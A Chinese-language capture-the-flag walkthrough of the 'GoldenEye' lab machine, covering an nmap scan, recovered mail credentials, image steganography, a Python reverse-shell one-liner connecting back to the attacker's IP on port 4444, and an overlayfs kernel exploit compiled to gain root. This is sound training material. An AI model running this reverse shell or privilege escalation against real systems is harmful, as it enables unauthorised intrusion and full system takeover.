GoldenEye
端口扫描
root@ip-10-10-179-59:~/goldeneye# nmap -sTCV -p 25,80,55006,55007 --min-rate 1000 10.10.138.44
Starting Nmap 7.60 ( https://nmap.org ) at 2023-09-17 13:18 BST
Nmap scan report for ip-10-10-138-44.eu-west-1.compute.internal (10.10.138.44)
Host is up (0.00018s latency).
PORT STATE SERVICE VERSION
25/tcp open smtp Postfix smtpd
|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
| ssl-cert: Subject: commonName=ubuntu
| Not valid before: 2018-04-24T03:22:34
|_Not valid after: 2028-04-21T03:22:34
|_ssl-date: TLS randomness does not represent time
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: GoldenEye Primary Admin Server
55006/tcp open ssl/pop3 Dovecot pop3d
|_pop3-capabilities: SASL(PLAIN) PIPELINING USER CAPA AUTH-RESP-CODE RESP-CODES UIDL TOP
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after: 2028-04-23T03:23:52
|_ssl-date: TLS randomness does not represent time
55007/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: SASL(PLAIN) STLS UIDL TOP USER CAPA AUTH-RESP-CODE PIPELINING RESP-CODES
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after: 2028-04-23T03:23:52
|_ssl-date: TLS randomness does not represent time
MAC Address: 02:F0:90:01:90:83 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.43 seconds
80
访问 80 端口, 其告诉我前往另一个目录 /sev-home/ , 当我们访问此目录时发现需要密码进行登陆, 返回初始网页分析其中 JS 源码我获取到了一些内容:
- 用户: Boris Natalya
- 一个编码后的密码 : InvincibleHack3r (解码后的内容)
使用这个密码登陆后, 显示的网页告诉我他们将 pop 端口提高了, 那么现在我们应该尝试获取 pop 服务的密码, 进行暴力破解
55007
从上面的内容中, 我们得到了两个账号:
- boris:secret1!
- natalya:bird
在我阅读 natalya 的邮件时, 其告诉我一个账号以及一个域名, 看内容这应该是某个服务之类的内容, 所以我进行了访问
80
修改我们的 hosts 文件使用得到的凭证进行访问, 在登陆之后我获取到了另一个用户的用户名: doak , 继续进行暴力破解
登陆此用户的 pop 服务, 在其中获取到了另一个用户名和密码 dr_doak:4England! , 接着进行访问, 同时在此用户的家目录我发现了一个凭证文件
root@ip-10-10-179-59:~/goldeneye# cat s3cret.txt
007,
I was able to capture this apps adm1n cr3ds through clear txt.
Text throughout most web apps within the GoldenEye servers are scanned, so I cannot add the cr3dentials here.
Something juicy is located here: /dir007key/for-007.jpg
Also as you may know, the RCP-90 is vastly superior to any other weapon and License to Kill is the only way to play.
其指向了一个文件,.这应该存在文件隐写术, 当我将其下载后使用 exiftool 从中发现一段 base64 加密的内容 CyberChef, 解密之后得到了一个密码, 根据我们的 txt 内容提示的信息来看, 这很有可能是 admin 用户的密码, 接着登陆, 在登陆之后根据题目的提示, 我们需要使用一个编辑器漏洞
后渗透
www-data
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.151.223",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
然后我们在本地开启监听
www-data —> root
查看系统版本发现比较落后, 所以进行查找发现了一个利用方式 Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation当我们下载后, 系统并没有 gcc , 根据提示告诉我们仅仅修改了一个字母, 接着我发现了 cc 程序, 这应该就是我们的 gcc 了, 因此我们需要对我们的脚本进行一些修改
(remote) www-data@ubuntu:/tmp$ sed -i "s/gcc/cc/g" root.c
(remote) www-data@ubuntu:/tmp$ cc root.c -o root
(remote) www-data@ubuntu:/tmp$ chmod +x root
(remote) www-data@ubuntu:/tmp$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
(remote) www-data@ubuntu:/tmp$ ./root
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)